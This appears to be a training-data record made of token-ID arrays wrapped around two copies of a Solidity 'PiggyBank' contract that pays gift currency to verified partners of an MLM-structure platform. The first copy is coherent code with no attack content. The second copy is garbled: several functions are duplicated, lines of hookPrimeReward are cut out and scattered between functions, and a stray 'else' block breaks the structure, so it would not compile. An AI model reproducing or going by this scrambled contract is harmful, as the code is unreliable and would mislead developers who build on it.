16,
460,
1769,
203,
5411,
2583,
12,
77,
1545,
1131,
1356,
18,
2469,
747,
460,
1545,
1131,
1356,
63,
77,
6487,
315,
47,
318,
407,
91,
438,
30,
563,
353,
486,
7304,
8863,
203,
203,
5411,
5024,
38,
26488,
1290,
30296,
63,
2316,
8009,
5864,
12,
1484,
13937,
16,
2078,
3088,
1283,
18,
1717,
12,
8949,
3631,
2078,
3088,
1283,
1769,
203,
5411,
5024,
38,
26488,
1290,
24543,
63,
2316,
8009,
5864,
12,
1484,
13937,
16,
2078,
3088,
1283,
18,
1717,
12,
8949,
3631,
2078,
3088,
1283,
1769,
203,
3639,
289,
203,
203,
3639,
3626,
3423,
9446,
82,
12,
3576,
18,
15330,
16,
3844,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
// solhint-disable not-rely-on-time, reason-string, no-inline-assembly
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./Vault.sol";
import "../interfaces/IMLMstructure.sol";
import "../interfaces/IPartner.sol";
import "../interfaces/IVault.sol";
import "../interfaces/IPiggyBank.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
/**
* @dev 'piggy bank' contract for accumulation of gift currency
*/
contract PiggyBank is IPiggyBank, OwnableUpgradeable {
using SafeMath for uint256;
event Receive(address indexed from, uint256 value, uint256 timestamp);
event AccruePrimeRewawd(address indexed from, uint256 value, uint256 timestamp);
event Transfer(address indexed target, uint256 value, uint256 timestamp);
event HookPrimeReward(address indexed from, address indexed target, uint256 value, uint256 timestamp);
event SetVerificationStatus(address indexed owner, address indexed target, bool status, uint256 timestamp);
event Withdraw(address indexed from, uint256 value, uint256 timestamp);
event ChangeBasePlatform(address indexed newBasePlatform, address indexed oldBasePlatform, uint256 timestamp);
struct User {
bool isVerified;
bool isPrimeRewarded;
uint256 personalAccrual;
uint256 clearBalance;
}
uint256 internal _totalAccrual;
uint256 internal _totalBalance;
uint256 internal _totalVerifiedFree;
mapping(address => User) internal _user;
address internal _basePlatform;
address internal _vault;
function initialize(address newBasePlatform) public initializer {
__Ownable_init();
_basePlatform = newBasePlatform;
_vault = address(new Vault());
}
receive() external payable {
uint256 freePartnerCount = _totalVerifiedFree;
require(freePartnerCount > 0, "PiggyBank: no verified-free partners.");
_totalAccrual = _totalAccrual.add(msg.value.div(freePartnerCount));
_totalBalance = _totalBalance.add(msg.value);
emit Receive(msg.sender, msg.value, block.timestamp);
}
function accruePrimeRewawd() external payable override returns(bool success) {
require(msg.sender == _vault, "PiggyBank: msg.sender must be Vault contract.");
require(msg.value > 0, "PiggyBank: msg.value must be > 0.");
emit AccruePrimeRewawd(msg.sender, msg.value, block.timestamp);
return true;
}
function hookPrimeReward(address target) external override returns(bool success) {
require(msg.sender == _basePlatform, "PiggyBank: msg.sender must be MLMStricture contract.");
_recalculateUser(target);
User memory user = _user[target];
if (user.isPrimeRewarded == false) {
// delete free
(,uint256 status,,,) = IPartner(_basePlatform).getPartner(target);
if ((status == 1) && _user[target].isVerified) {
_totalVerifiedFree = _totalVerifiedFree.sub(1);
}
// calculate cost of 100 rubles (to JOYS)
uint256 primeReward = IMLMstructure(_basePlatform).primeStatusCost().mul(100).div(1600);
// withfraw 100 roubles
IVault(_vault).vaultWithdraw(primeReward);
// save state
user.clearBalance = user.clearBalance.add(primeReward);
_totalBalance = _totalBalance.add(primeReward);
user.isPrimeRewarded = true;
_user[target] = user;
emit HookPrimeReward(msg.sender, target, primeReward, block.timestamp);
}
return true;
}
function setVerificationStatus(address target, bool isVerified) external onlyOwner returns(bool success) {
_recalculateUser(target);
(,uint256 status,,,) = IPartner(_basePlatform).getPartner(target);
if (status == 1) {
_totalVerifiedFree = _totalVerifiedFree.add(1);
}
_user[target].isVerified = isVerified;
emit SetVerificationStatus(msg.sender, target, isVerified, block.timestamp);
return true;
}
function withdraw(address payable target, uint256 amount) external onlyOwner returns(bool success) {
require(_user[target].isVerified == true, "PiggyBank: user must be verifyed.");
_recalculateUser(target);
_user[target].clearBalance = _user[target].clearBalance.sub(amount, "PiggyBank: withdrawal amount exceeds balance.");
_totalBalance = _totalBalance.sub(amount, "PiggyBank: withdrawal amount exceeds total balance.");
_transfer(target, amount);
emit Withdraw(target, amount, block.timestamp);
return true;
}
function changeBasePlatform(address newBasePlatform) external onlyOwner returns(bool success) {
emit ChangeBasePlatform(newBasePlatform, _basePlatform, block.timestamp);
_basePlatform = newBasePlatform;
return true;
}
function totalAccrual() external view returns(uint256) {
return(_totalAccrual);
}
function totalBalance() external view returns(uint256) {
return(_totalBalance);
}
function totalVerifiedFree() external view returns(uint256) {
return(_totalVerifiedFree);
}
function isPrimeRewarded(address target) external view returns(bool) {
return(_user[target].isPrimeRewarded);
}
function isVerified(address target) external view returns(bool) {
return(_user[target].isVerified);
}
function user(address target) external view returns(User memory) {
return(_user[target]);
}
function basePlatform() external view returns(address) {
return(_basePlatform);
}
function vault() external view returns(address) {
return(_vault);
}
function balanceOf(address target) external view returns(uint256) {
return(_user[target].clearBalance.add(_expectedRewardOf(target)));
}
function clearBalanceOf(address target) external view returns(uint256) {
return(_user[target].clearBalance);
}
function expectedRewardOf(address target) external view returns(uint256) {
return(_expectedRewardOf(target));
}
function _expectedRewardOf(address target) internal view returns(uint256) {
User memory usr = _user[target];
if (usr.isVerified == true && usr.isPrimeRewarded == false) {
return(_totalAccrual.sub(usr.personalAccrual));
} else {
return 0;
}
}
function _recalculateUser(address target) internal {
uint256 expectedRwd = _expectedRewardOf(target);
if (expectedRwd > 0) {
_user[target].clearBalance = _user[target].clearBalance.add(expectedRwd);
}
_user[target].personalAccrual = _totalAccrual;
}
function _transfer(address payable target, uint256 amount) internal {
target.transfer(amount);
emit Transfer(target, amount, block.timestamp);
}
}
|
* @dev 'piggy bank' contract for accumulation of gift currency/
|
contract PiggyBank is IPiggyBank, OwnableUpgradeable {
using SafeMath for uint256;
event Receive(address indexed from, uint256 value, uint256 timestamp);
event AccruePrimeRewawd(address indexed from, uint256 value, uint256 timestamp);
event Transfer(address indexed target, uint256 value, uint256 timestamp);
event HookPrimeReward(address indexed from, address indexed target, uint256 value, uint256 timestamp);
event SetVerificationStatus(address indexed owner, address indexed target, bool status, uint256 timestamp);
event Withdraw(address indexed from, uint256 value, uint256 timestamp);
event ChangeBasePlatform(address indexed newBasePlatform, address indexed oldBasePlatform, uint256 timestamp);
struct User {
bool isVerified;
bool isPrimeRewarded;
uint256 personalAccrual;
uint256 clearBalance;
}
uint256 internal _totalAccrual;
uint256 internal _totalBalance;
uint256 internal _totalVerifiedFree;
mapping(address => User) internal _user;
address internal _basePlatform;
address internal _vault;
function initialize(address newBasePlatform) public initializer {
__Ownable_init();
_basePlatform = newBasePlatform;
_vault = address(new Vault());
}
receive() external payable {
uint256 freePartnerCount = _totalVerifiedFree;
require(freePartnerCount > 0, "PiggyBank: no verified-free partners.");
_totalAccrual = _totalAccrual.add(msg.value.div(freePartnerCount));
_totalBalance = _totalBalance.add(msg.value);
emit Receive(msg.sender, msg.value, block.timestamp);
}
function accruePrimeRewawd() external payable override returns(bool success) {
require(msg.sender == _vault, "PiggyBank: msg.sender must be Vault contract.");
require(msg.value > 0, "PiggyBank: msg.value must be > 0.");
emit AccruePrimeRewawd(msg.sender, msg.value, block.timestamp);
return true;
}
function hookPrimeReward(address target) external override returns(bool success) {
require(msg.sender == _basePlatform, "PiggyBank: msg.sender must be MLMStricture contract.");
_recalculateUser(target);
User memory user = _user[target];
if (user.isPrimeRewarded == false) {
(,uint256 status,,,) = IPartner(_basePlatform).getPartner(target);
if ((status == 1) && _user[target].isVerified) {
_totalVerifiedFree = _totalVerifiedFree.sub(1);
}
_totalBalance = _totalBalance.add(primeReward);
user.isPrimeRewarded = true;
_user[target] = user;
emit HookPrimeReward(msg.sender, target, primeReward, block.timestamp);
}
return true;
}
function hookPrimeReward(address target) external override returns(bool success) {
require(msg.sender == _basePlatform, "PiggyBank: msg.sender must be MLMStricture contract.");
_recalculateUser(target);
User memory user = _user[target];
if (user.isPrimeRewarded == false) {
(,uint256 status,,,) = IPartner(_basePlatform).getPartner(target);
if ((status == 1) && _user[target].isVerified) {
_totalVerifiedFree = _totalVerifiedFree.sub(1);
}
_totalBalance = _totalBalance.add(primeReward);
user.isPrimeRewarded = true;
_user[target] = user;
emit HookPrimeReward(msg.sender, target, primeReward, block.timestamp);
}
return true;
}
function hookPrimeReward(address target) external override returns(bool success) {
require(msg.sender == _basePlatform, "PiggyBank: msg.sender must be MLMStricture contract.");
_recalculateUser(target);
User memory user = _user[target];
if (user.isPrimeRewarded == false) {
(,uint256 status,,,) = IPartner(_basePlatform).getPartner(target);
if ((status == 1) && _user[target].isVerified) {
_totalVerifiedFree = _totalVerifiedFree.sub(1);
}
_totalBalance = _totalBalance.add(primeReward);
user.isPrimeRewarded = true;
_user[target] = user;
emit HookPrimeReward(msg.sender, target, primeReward, block.timestamp);
}
return true;
}
uint256 primeReward = IMLMstructure(_basePlatform).primeStatusCost().mul(100).div(1600);
IVault(_vault).vaultWithdraw(primeReward);
user.clearBalance = user.clearBalance.add(primeReward);
function setVerificationStatus(address target, bool isVerified) external onlyOwner returns(bool success) {
_recalculateUser(target);
(,uint256 status,,,) = IPartner(_basePlatform).getPartner(target);
if (status == 1) {
_totalVerifiedFree = _totalVerifiedFree.add(1);
}
_user[target].isVerified = isVerified;
emit SetVerificationStatus(msg.sender, target, isVerified, block.timestamp);
return true;
}
function setVerificationStatus(address target, bool isVerified) external onlyOwner returns(bool success) {
_recalculateUser(target);
(,uint256 status,,,) = IPartner(_basePlatform).getPartner(target);
if (status == 1) {
_totalVerifiedFree = _totalVerifiedFree.add(1);
}
_user[target].isVerified = isVerified;
emit SetVerificationStatus(msg.sender, target, isVerified, block.timestamp);
return true;
}
function withdraw(address payable target, uint256 amount) external onlyOwner returns(bool success) {
require(_user[target].isVerified == true, "PiggyBank: user must be verifyed.");
_recalculateUser(target);
_user[target].clearBalance = _user[target].clearBalance.sub(amount, "PiggyBank: withdrawal amount exceeds balance.");
_totalBalance = _totalBalance.sub(amount, "PiggyBank: withdrawal amount exceeds total balance.");
_transfer(target, amount);
emit Withdraw(target, amount, block.timestamp);
return true;
}
function changeBasePlatform(address newBasePlatform) external onlyOwner returns(bool success) {
emit ChangeBasePlatform(newBasePlatform, _basePlatform, block.timestamp);
_basePlatform = newBasePlatform;
return true;
}
function totalAccrual() external view returns(uint256) {
return(_totalAccrual);
}
function totalBalance() external view returns(uint256) {
return(_totalBalance);
}
function totalVerifiedFree() external view returns(uint256) {
return(_totalVerifiedFree);
}
function isPrimeRewarded(address target) external view returns(bool) {
return(_user[target].isPrimeRewarded);
}
function isVerified(address target) external view returns(bool) {
return(_user[target].isVerified);
}
function user(address target) external view returns(User memory) {
return(_user[target]);
}
function basePlatform() external view returns(address) {
return(_basePlatform);
}
function vault() external view returns(address) {
return(_vault);
}
function balanceOf(address target) external view returns(uint256) {
return(_user[target].clearBalance.add(_expectedRewardOf(target)));
}
function clearBalanceOf(address target) external view returns(uint256) {
return(_user[target].clearBalance);
}
function expectedRewardOf(address target) external view returns(uint256) {
return(_expectedRewardOf(target));
}
function _expectedRewardOf(address target) internal view returns(uint256) {
User memory usr = _user[target];
if (usr.isVerified == true && usr.isPrimeRewarded == false) {
return(_totalAccrual.sub(usr.personalAccrual));
return 0;
}
}
function _expectedRewardOf(address target) internal view returns(uint256) {
User memory usr = _user[target];
if (usr.isVerified == true && usr.isPrimeRewarded == false) {
return(_totalAccrual.sub(usr.personalAccrual));
return 0;
}
}
} else {
function _recalculateUser(address target) internal {
uint256 expectedRwd = _expectedRewardOf(target);
if (expectedRwd > 0) {
_user[target].clearBalance = _user[target].clearBalance.add(expectedRwd);
}
_user[target].personalAccrual = _totalAccrual;
}
function _recalculateUser(address target) internal {
uint256 expectedRwd = _expectedRewardOf(target);
if (expectedRwd > 0) {
_user[target].clearBalance = _user[target].clearBalance.add(expectedRwd);
}
_user[target].personalAccrual = _totalAccrual;
}
function _transfer(address payable target, uint256 amount) internal {
target.transfer(amount);
emit Transfer(target, amount, block.timestamp);
}
}
| 7,317,761 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
296,
84,
360,
7797,
11218,
11,
6835,
364,
8822,
367,
434,
314,
2136,
5462,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
453,
360,
7797,
16040,
353,
2971,
360,
7797,
16040,
16,
14223,
6914,
10784,
429,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
871,
17046,
12,
2867,
8808,
628,
16,
2254,
5034,
460,
16,
2254,
5034,
2858,
1769,
203,
565,
871,
15980,
86,
344,
23327,
17631,
2219,
72,
12,
2867,
8808,
628,
16,
2254,
5034,
460,
16,
2254,
5034,
2858,
1769,
203,
565,
871,
12279,
12,
2867,
8808,
1018,
16,
2254,
5034,
460,
16,
2254,
5034,
2858,
1769,
203,
565,
871,
13725,
23327,
17631,
1060,
12,
2867,
8808,
628,
16,
1758,
8808,
1018,
16,
2254,
5034,
460,
16,
2254,
5034,
2858,
1769,
203,
565,
871,
1000,
13483,
1482,
12,
2867,
8808,
3410,
16,
1758,
8808,
1018,
16,
1426,
1267,
16,
2254,
5034,
2858,
1769,
203,
565,
871,
3423,
9446,
12,
2867,
8808,
628,
16,
2254,
5034,
460,
16,
2254,
5034,
2858,
1769,
203,
565,
871,
7576,
2171,
8201,
12,
2867,
8808,
394,
2171,
8201,
16,
1758,
8808,
1592,
2171,
8201,
16,
2254,
5034,
2858,
1769,
203,
203,
203,
565,
1958,
2177,
288,
203,
3639,
1426,
353,
24369,
31,
203,
3639,
1426,
353,
23327,
17631,
17212,
31,
203,
3639,
2254,
5034,
17816,
8973,
86,
1462,
31,
203,
3639,
2254,
5034,
2424,
13937,
31,
203,
565,
289,
203,
203,
565,
2254,
5034,
2713,
389,
4963,
8973,
86,
1462,
31,
203,
565,
2254,
5034,
2713,
389,
4963,
13937,
31,
203,
565,
2254,
5034,
2713,
389,
4963,
24369,
9194,
31,
203,
565,
2874,
12,
2867,
516,
2177,
13,
2713,
389,
1355,
31,
203,
203,
565,
1758,
2713,
389,
1969,
8201,
31,
203,
565,
1758,
2713,
389,
26983,
31,
203,
203,
565,
445,
4046,
12,
2867,
394,
2171,
8201,
13,
1071,
12562,
288,
203,
3639,
1001,
5460,
429,
67,
2738,
5621,
203,
3639,
389,
1969,
8201,
273,
394,
2171,
8201,
31,
203,
3639,
389,
26983,
273,
1758,
12,
2704,
17329,
10663,
203,
565,
289,
203,
203,
565,
6798,
1435,
3903,
8843,
429,
288,
203,
3639,
2254,
5034,
4843,
1988,
1224,
1380,
273,
389,
4963,
24369,
9194,
31,
203,
3639,
2583,
12,
9156,
1988,
1224,
1380,
405,
374,
16,
315,
52,
360,
7797,
16040,
30,
1158,
13808,
17,
9156,
1087,
9646,
1199,
1769,
203,
3639,
389,
4963,
8973,
86,
1462,
273,
389,
4963,
8973,
86,
1462,
18,
1289,
12,
3576,
18,
1132,
18,
2892,
12,
9156,
1988,
1224,
1380,
10019,
203,
3639,
389,
4963,
13937,
273,
389,
4963,
13937,
18,
1289,
12,
3576,
18,
1132,
1769,
203,
203,
3639,
3626,
17046,
12,
3576,
18,
15330,
16,
1234,
18,
1132,
16,
1203,
18,
5508,
1769,
203,
565,
289,
203,
203,
565,
445,
4078,
86,
344,
23327,
17631,
2219,
72,
1435,
3903,
8843,
429,
3849,
1135,
12,
6430,
2216,
13,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
389,
26983,
16,
315,
52,
360,
7797,
16040,
30,
1234,
18,
15330,
1297,
506,
17329,
6835,
1199,
1769,
203,
3639,
2583,
12,
3576,
18,
1132,
405,
374,
16,
315,
52,
360,
7797,
16040,
30,
1234,
18,
1132,
1297,
506,
405,
374,
1199,
1769,
203,
203,
3639,
3626,
15980,
86,
344,
23327,
17631,
2219,
72,
12,
3576,
18,
15330,
16,
1234,
18,
1132,
16,
1203,
18,
5508,
1769,
203,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
565,
445,
3953,
23327,
17631,
1060,
12,
2867,
1018,
13,
3903,
3849,
1135,
12,
6430,
2216,
13,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
389,
1969,
8201,
16,
315,
52,
360,
7797,
16040,
30,
1234,
18,
15330,
1297,
506,
490,
17063,
1585,
9093,
6835,
1199,
1769,
203,
203,
3639,
389,
266,
11162,
1299,
12,
3299,
1769,
203,
203,
3639,
2177,
3778,
729,
273,
389,
1355,
63,
3299,
15533,
203,
3639,
309,
261,
1355,
18,
291,
23327,
17631,
17212,
422,
629,
13,
288,
203,
5411,
261,
16,
11890,
5034,
1267,
16408,
16,
13,
273,
467,
1988,
1224,
24899,
1969,
8201,
2934,
588,
1988,
1224,
12,
3299,
1769,
203,
5411,
309,
14015,
2327,
422,
404,
13,
597,
389,
1355,
63,
3299,
8009,
291,
24369,
13,
288,
203,
7734,
389,
4963,
24369,
9194,
273,
389,
4963,
24369,
9194,
18,
1717,
12,
21,
1769,
203,
5411,
289,
203,
203,
203,
203,
5411,
389,
4963,
13937,
273,
389,
4963,
13937,
18,
1289,
12,
16382,
17631,
1060,
1769,
203,
5411,
729,
18,
291,
23327,
17631,
17212,
273,
638,
31,
203,
5411,
389,
1355,
63,
3299,
65,
273,
729,
31,
203,
203,
5411,
3626,
13725,
23327,
17631,
1060,
12,
3576,
18,
15330,
16,
1018,
16,
17014,
